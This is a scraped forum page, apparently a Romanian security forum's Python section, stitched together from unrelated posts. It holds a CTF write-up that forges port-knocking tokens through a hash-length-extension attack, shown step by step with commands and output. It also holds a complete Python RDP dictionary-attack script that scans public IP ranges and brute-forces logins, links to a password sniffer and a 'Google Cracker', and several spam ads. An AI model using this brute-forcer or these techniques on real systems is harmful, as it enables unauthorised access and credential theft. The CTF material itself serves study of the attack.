handle(self): global g_key data, s = self.request print 'Client: {} len {}'.format(self.client_address[0],len(data)) l = parse_and_verify(g_h, g_key, data) if l is None: print 'bad message' else: for p in l: allow(self.client_address[0], p) class KnockersServer(SocketServer.UDPServer): address_family = socket.AF_INET6 def load_key(): global g_key f=open('secret.txt','rb') g_key = unhexlify(f.read()) f.close() def main(): global g_h global g_key g_h = hashlib.sha512 if len(sys.argv) < 2: print '''Usage: --- Server --- knockers.py setup Generates a new secret.txt knockers.py newtoken port [port [port ...]] Generates a client token for the given ports knockers.py serve Runs the service --- Client --- knockers.py knock <host> <token> Tells the server to unlock ports allowed by the given token ''' elif sys.argv[1]=='serve': load_key() server = KnockersServer(('', PORT), KnockersRequestHandler) server.serve_forever(); elif sys.argv[1]=='setup': f = open('secret.txt','wb') f.write(hexlify(os.urandom(16))) f.close() print 'wrote new secret.txt' elif sys.argv[1]=='newtoken': load_key() ports = map(int,sys.argv[2:]) print hexlify(generate_token(g_h, g_key, *ports)) elif sys.argv[1]=='knock': ai = socket.getaddrinfo(sys.argv[2],PORT,socket.AF_INET6,socket.SOCK_DGRAM) if len(ai) < 1: print 'could not find address: ' + sys.argv[2] return family, socktype, proto, canonname, sockaddr = ai[0] s = socket.socket(family, socktype, proto) s.sendto(unhexlify(sys.argv[3]), sockaddr) else: print 'unrecognized command' if __name__ == '__main__': main() The vulnerability To track down the vulnerability, let's have a look at the signature algorithm: def generate_token(h, k, *pl): m = struct.pack('!'+'H'*len(pl), *pl) mac = h(k+m).digest() return mac + m In that function, h is a hash function (sha-512, specifically), k is a random 16-byte token, randomly generated, and m is an array of 16-bit representation of the ports that the user wishes to open. So if the user wanted to open port 1 and 2, they'd send "\x00\x01\x00\x02", along with the appropriate token (which the server administrator would have to create/send, see below). Hmm... it's generating a mac-protected token and string by concatenating strings and hashing them? If you've followed my blog, this might sound very familiar! This is a pure hash extension vulnerability! I'm not going to re-iterate what a hash extension vulnerability is in great detail—if you're interested, check out the blog I just linked—but the general idea is that if you generate a message in the form of msg + H(secret + msg), the user can arbitrarily extend the message and generate a new signature! That means if we have access to any port, we have access to every port! Let's see how! Generating a legit token To use the python script linked above, first run 'setup': $ python ./knockers.py setup wrote new secret.txt Which generates a new secret. The secret is just a 16-byte random string that's stored on the server. We don't really need to know what the secret is, but for the curious, if you want to follow along and verify your numbers against mine, it's: $ cat secret.txt 2b396fb91a76307ce31ef7236e7fd3df Now we use the tool (on the same host as the secret.txt file) to generate a token that allows access on port 80: $ python ./knockers.py newtoken 80 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb20050 Notice the first 512 bits (64 bytes) is the signature—which is logical, since it's sha512—and the last 16 bits (2 bytes) are 0050, which is the hex representation of 80. We'll split those apart later, when we run hash_extender, but for now let's make sure the token actually works first! We start the server: $ python ./knockers.py serve And in another window, or on another host if you prefer, send the generated token: $ python ./knockers.py knock localhost 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb20050 In the original window, you'll see that it was successful: $ python ./knockers.py serve Client: ::1 len 66 allowing host ::1 on port 80 Now, let's figure out how to create a token for port 7175! Generating an illegit (non-legit?) token So this is actually the easiest part. It turns out that the awesome guy who wrote hash_extender (just kidding, he's not awesome) built in everything you needed for this attack! Download and compile hash_extender if needed (definitely works on Linux, but I haven't tested on any other platforms—testers are welcome!), and run it with no arguments to get the help dump. You need to pass in the original data (that's "\x00\x80"), the data you want to append (7175 => "\x1c\x07"), the original signature, and the length of the secret (which is 16 bytes). You also need to pass in the types for each of the parameters ("hex") in case the defaults don't match (in this case, they don't—the appended data is assumed to be raw). All said and done, here's the command: ./hash_extender --data-format hex --data 0050 \ --signature-format hex --signature 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb2 \ --append "1c07" --append-format hex \ -l 16 You can pass in the algorithm and the desired output format as well, if we don't, it'll just output in every 512-bit-sized hash type. The output defaults to hex, so we're happy with that. $ ./hash_extender --data-format hex --data 0050 --signature-format hex --signature 83a98996f0acb4ad74708447b303c081c86d0dc26822f4014abbf4adcbc4d009fbd8397aad82618a6d45de8d944d384542072d7a0f0cdb76b51e512d88de3eb2 --append "1c07" --append-format hex -l 16 Type: sha512 Secret length: 16 New signature: 4bda887c0fc43636f39ff38be6d592c2830723197b93174b04d0115d28f0d5e4df650f7c48d64f7ca26ef94c3387f0ca3bf606184c4524600557c7de36f1d894 New string: 005080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07 [strike] Type: whirlpool Secret length: 16 New signature: f4440caa0da933ed497b3af8088cb78c49374853773435321c7f03730386513912fb7b165121c9d5fb0cb2b8a5958176c4abec35034c2041315bf064de26a659 New string: 0050800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07[/strike] Ignoring the whirlpool token, since that's the wrong algorithm, we now have a new signature and a new string. We can just concatenate them together and use the built-in client to use them: $ python ./knockers.py knock localhost 4bda887c0fc43636f39ff38be6d592c2830723197b93174b04d0115d28f0d5e4df650f7c48d64f7ca26ef94c3387f0ca3bf606184c4524600557c7de36f1d894005080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000901c07 And checking our server, we see a ton of output, including successfully opening port 7175: $ python ./knockers.py serve Client: ::1 len 66 allowing host ::1 on port 80 Client: ::1 len 178 allowing host ::1 on port 80 allowing host ::1 on port 32768 allowing host ::1 on port 0 allowing host ::1 on port 0 [...repeated like 100 times...] allowing host ::1 on port 0 allowing host ::1 on port 0 allowing host ::1 on port 144 allowing host ::1 on port 7175 And that's it! At that point, you can visit http://knockers.2015.ghostintheshellcode.com:7175 and get the key. Source skullsecurity
  16. FITA is a one of the best training center in chennai.We offer the best training and placement for Python Training student.Python course is very useful for you career.We offer the advance teaching for python training.I provide the best discount price for students.
  17. FITA is one best Python training in Chennai.We offer the best training and placement for students.we give best discount price for students.
  18. FITA is one of the best training center in Python training center in Chennai.We offering the best training and placement.more than company are searching the python trained student.
  19. Python Registry Parser The idea of this started out as one to duplicate Microsoft's autoruns tool to the extent possible with only offline registry hives. Then I started adding extra non-autorun(ish) registry keys and then it turned into more of a Windows Registry parser; hence the name change from autoreg-parse to python-regparse. I'm terrible at naming scripts/tools so this will have to suffice. I wrote about it here on my blog: https://sysforensics.org/2015/03/python-registry-parser.html Purpose/Reason I didn't like the output of other tools. I wanted to learn to write better Python code. Output This was a sticky point I had with alternative tools, and realizing this I thought hard and came to the conclusion if I want a tool that doesn't have messy output i'm going to have to make it custom user defined output, and then provide a fallback template file if a custom output isn't defined via the command line. This will likely turn some people off from using this tool, but I think it's the best way forward. I suggest taking a look here for some output examples: https://sysforensics.org/2015/03/python-registry-parser.html as it's not as complex as it may sound. Even for non-coders it's easy. How to Install Install Python 2.79 Install https://pypi.python.org/pypi/setuptools sudo pip install python-registry sudo pip install jinja2 wget https://github.com/sysforensics/python-regparse/blob/master/yapsy_mods/yapsy-master.zip Unzip it cd yapsy-master/package/ sudo python setup.py build sudo python setup.py install wget https://github.com/sysforensics/python-regparse/archive/master.zip Unzip Put it where you want, and then enjoy! I've tested/used on OSX, Windows and SIFT 3.0. If pip doesn't work for you try easy_install. Link: https://github.com/sysforensics/python-regparse
  20. Am primit un proiect simplu pe un site de freelancing insa nu am timp de el. Cine are nevoie de bani si stie c++, let me know. Tre' facut in 6h(//EDITED) incepand de acum. Cerinte: Banii ii trimit pe PP dupa ce verifica omu' ce ati facut si imi baga banii, asa ca e posibil sa dureze 1-2 zile.
  21. pyClamd is a python interface to Clamd (Clamav daemon). By using pyClamd, you can add virus detection capabilities to your python software in an efficient and easy way. Instead of pyClamav which uses libclamav, pyClamd may be used by a closed source product. Changes: This version is compatible with python 3 (tested with 3.2.3) and python 2 (tested 2.7.3). The API for this new version is now object oriented. Useful classes are ClamdNetworkSocket and ClamdUnixSocket. Download
  22. Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification. Download: https://github.com/DanMcInerney/net-creds Source: https://github.com/DanMcInerney/net-creds
  23. Daca se dovedea a fi eficient la partea de crack il tineam privat, dar asa ii fac publica sursa, poate il imbunatateste cineva sau invata ceva din el. E mai mult un wrapper si se foloseste de rdesktop, dar in teorie ar trebui sa sparga ceva (am testat pe niste servere cunoscute plasate printre altele si cu niste liste de parole decente si uneori le prindea alteori sarea peste ele in aproape aceleasi conditii locale). Alte nelamuriri vedeti sursa. #! /usr/bin/env python # RDP Dictionary Attack # 21.05.2012 cmiN # # THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY # I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM # # Connect with rdesktop, xfreerdp or something similar using # servers, users and passwords from files. # After checking if the port is opened, the wrapper opens a shell console # executing the client with data from input files. In the meantime # a local socket is accepting connections from the target and if the link # is established then the user and password for that server are a match. # # You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp). # On gentoo based systems use emerge to find and install the newest packages. # Contact: cmin764@yahoo/gmail.com from sys import argv, platform from threading import Thread, active_count, Lock from subprocess import Popen from socket import * # defaults THRD = 4 # how many threads for crack phase TOUT = 6.0 # timeout in seconds # get global host ip try: sock = socket(AF_INET, SOCK_STREAM) sock.connect(("www.google.com", 80)) # assuming google works except error as excp: # error from socket (timed out or invalid server) print "Check your internet connection: %s." % excp exit() else: HOST = sock.getsockname()[0] finally: sock.close() del sock PORT = 51337 # used for local listening # attack modes RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"] RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}", "-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"] VERB = False # verbose METH = "r" # RDP1 USER = ["Administrator"] SAFE = True SWTC = True LIMT = None # attacks (test only, None -> unlimited) class Engine: """Main class used to find and crack servers with desired options. For more info see usage from the bottom of the script. It executes commands through subprocess and waits for replies within timeout. """ def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch): """Copy global options and prepare the core.""" self.cli = True # activate print/stdout (set to False if a GUI is used) self.threads = threads self.timeout = timeout self.host = host self.port = port self.rdp1 = rdp1 self.rdp2 = rdp2 self.verbose = verbose self.sockets = dict() # D[x] = True if x is available otherwise False self.pos = list() # list with indexes (user, password, server, telnet) self.usr = usr self.pwd = None self.srv = None # set the command used for scanning if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 # default: don't save self.working = None self.cracked = None self.good = list() # rdp servers self.delete = set() # dispose of cracked servers self.lock = Lock() # global printing thread synchronization self.sock_mutex = Lock() # for localhost socket use if "linux" in platform: self.null = open("/dev/null", "w") else: self.null = open("NUL", "w") self.safe = safe self.switch = switch def __del__(self): """Destructor.""" if hasattr(self.srv, "close"): self.srv.close() if hasattr(self.usr, "close"): self.usr.close() if self.pwd: self.pwd.close() if self.working: self.working.close() if self.cracked: self.cracked.close() for sock in self.sockets: sock.shutdown(SHUT_RDWR) sock.close() def generator(self, src, dest): """Just like grandpa's old mileage meter :].""" temp = "%d.%d.%d.%d" byte = 256 yield temp % tuple(src) # yield -> the beauty of python while (src != dest): # like return but continue src[3] += 1 if src[3] == byte: src[3] = 0 src[2] += 1 if src[2] == byte: src[2] = 0 src[1] += 1 if src[1] == byte: src[1] = 0 src[0] += 1 yield temp % tuple(src) def set_threads(self, threads): self.threads = threads def set_safe(self, safe): self.safe = safe def set_switch(self, switch): self.switch = switch def set_timeout(self, timeout): self.timeout = timeout def set_verbose(self, verbose): self.verbose = verbose def set_method(self, method): if method == "x": self.command = self.rdp2 else: self.command = self.rdp1 def set_usr(self, usr): """If this is called, then the users are taken from a file.""" self.usr = open(usr, "r") # do not use the generic one def set_pwd(self, pwd): """The file with passwords is mandatory.""" self.pwd = open(pwd, "r") def set_srv(self, srv): """Make a file object or range generator from argument.""" if srv.find("-") == -1: # not found -> not range self.srv = open(srv, "r") else: chunks = srv.split("-") src, dest = chunks[0].split("."), chunks[1].split(".") for i in xrange(4): src[i] = int(src[i]) dest[i] = int(dest[i]) self.srv = self.generator(src, dest) def set_working(self, working): """Save progress in scan phase.""" self.working = open(working, "a") # safe append def set_cracked(self, cracked): """Save progress in crack phase.""" self.cracked = open(cracked, "a") def scan_server(self, server): """Check if the rdp port is opened on the specified server.""" try: # create the socket and connect sock = socket(AF_INET, SOCK_STREAM) sock.connect((server, 3389)) except error: # timed out in most cases if self.verbose: self.lock.acquire() if self.cli: print "[-] %s [NO]" % server # only with -v self.lock.release() else: # good news everyone self.lock.acquire() if self.cli: print "[+] %s [OK]" % server self.good.append(server) if self.working: self.working.write(server + "\n") self.working.flush() self.lock.release() finally: sock.close() def scan(self): """Just like a port scanner for 3389.""" setdefaulttimeout(self.timeout / 10.0) # 10% for server in self.srv: while active_count() > self.threads * 16: pass # do not exceed number of threads if self.switch: # scan them # now call the method in a separate thread Thread(target=self.scan_server, args=[server.strip()]).start() else: # or skip the scan self.good.append(server.strip()) while active_count() > 1: pass # join all def acquire_sock(self): for sock, state in self.sockets.iteritems(): if state: # available self.sockets[sock] = False # use it return sock def release_sock(self, sock): self.sockets[sock] = True def crack_server(self, command): try: # get a server self.sock_mutex.acquire() sock = self.acquire_sock() self.sock_mutex.release() command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1]) child = Popen(command, stdout=self.null, stderr=self.null) # no wait sock.accept() # here is the big overhead except error as excp: # timed out if self.verbose: self.lock.acquire() if self.cli: print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.lock.release() else: # good news again show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]]) self.delete.add(command[self.pos[2]]) # cracked! no need to process again self.lock.acquire() if self.cli: print "[+] " + show + " [OK]" if self.cracked: self.cracked.write(show + "\n") self.cracked.flush() self.lock.release() finally: child.kill() # do not close it, instead release it for further use self.release_sock(sock) # O(1) and can't affect the same socket def crack(self): """For each user take each password and test them with each working server.""" goodLen = len(self.good) if goodLen == 0: if self.cli: print "[!] No servers to crack." return if self.safe: # avoid deadlocks or strange behavior self.set_threads(min(self.threads, goodLen)) users = [line.strip() for line in self.usr] passwords = [line.strip() for line in self.pwd] if self.cli: print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) * goodLen * self.timeout / self.threads) setdefaulttimeout(self.timeout) # now use the real timeout # prepare the sockets for port in xrange(self.threads): sock = socket(AF_INET, SOCK_STREAM) sock.settimeout(self.timeout) sock.bind((self.host, self.port + port)) sock.listen(1) self.sockets[sock] = True # init command template command = self.command shellIndex = command.index("telnet {host} {port}") command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}") self.pos = [command.index("{user}"), command.index("{password}"), command.index("{server}"), shellIndex] attacks = 0 for user in users: command[self.pos[0]] = user for password in passwords: command[self.pos[1]] = password for server in self.good: command[self.pos[2]] = server while active_count() > self.threads: pass # do not exceed number of threads attacks += 1 if LIMT and attacks > LIMT: if self.cli: print "[!] Limit reached, buy the script." return # now call the method in a separate thread Thread(target=self.crack_server, args=[command[:]]).start() for server in self.delete: # N^2 can be reduced to NlogN with set self.good.remove(server) # and also to N with index memorization self.delete.clear() while active_count() > 1: pass # join all def parse(): at = 1 params = list() while at < argc: if argv[at] in ("-h", "--help"): print usage exit() # do not start the process elif argv[at] in ("-v", "--verbose"): app.set_verbose(True) elif argv[at] in ("-t", "--threads"): at += 1 app.set_threads(int(argv[at])) elif argv[at] in ("-T", "--timeout"): at += 1 app.set_timeout(float(argv[at])) elif argv[at] in ("-m", "--method"): at += 1 app.set_method(argv[at]) elif argv[at] in ("-w", "--working"): at += 1 app.set_working(argv[at]) elif argv[at] in ("-c", "--cracked"): at += 1 app.set_cracked(argv[at]) elif argv[at] in ("-s", "--safe-off"): app.set_safe(False) elif argv[at] in ("-n", "--no-scan"): app.set_switch(False) else: if argv[at][0] == "-": raise Exception("Invalid option") params.append(argv[at]) at += 1 pLen = len(params) if pLen not in (2, 3): raise Exception("Invalid number of parameters") app.set_srv(params[-1]) app.set_pwd(params[-2]) if pLen == 3: app.set_usr(params[-3]) # same index as 0 def main(): try: if argc == 1: # show a message or start the GUI which is missing print "You should run: %s --help" % argv[0] exit() # or parse the arguments parse() # and start the scanner print "[i] Scan phase started." app.scan() # filter the input for working rdp servers print "[i] Crack phase started." app.crack() # crack them except Exception as excp: print "[x] Error: %s." % excp except KeyboardInterrupt: print "[!] Stopped." else: print "[i] Finished." if __name__ == "__main__": argc = len(argv) usage = """ Usage: {0} [options] [usr] pwd srv Options: -t, --threads <number> number of threads (parallel connections) -s, --safe-off by default the number of threads is reduced to the number of working servers if it's greater use this option to keep the number of threads -T, --timeout <seconds> waiting response time for each connection -m, --method <r/x> use [r]desktop or [x]freerdp -w, --working <file> file used to store servers with 3389 opened -c, --cracked <file> file used to store cracked servers -n, --no-scan skip scan phase asumming all servers are working rdps -v, --verbose show extra information (default off) -h, --help show this help Parameters: usr users file (default users: {1}) pwd passwords file srv servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx) Examples: {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60 {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15 {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt Users, passwords and working servers are loaded into memory. Be aware to not open a file for both read and write. More exactly do not use the same file name with `-w`/`-c` and `srv`. THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM Send bugs to cmin764@yahoo/gmail.com. """.format(argv[0], USER) app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC) main() del app
  24. Google Cracker V1 By No Network Organization Based On Facebook Cracker V2 By Mauritania Attacker Scan Link: FuckingScan Download: https://drive.google.com/file/d/0By7jLp_VXjqHaUItUVBUOXNnOGs/view
  25. Nytro

    Python videos

    Python videos. Multe. Link: http://pymust.watch/
×
×
  • Create New...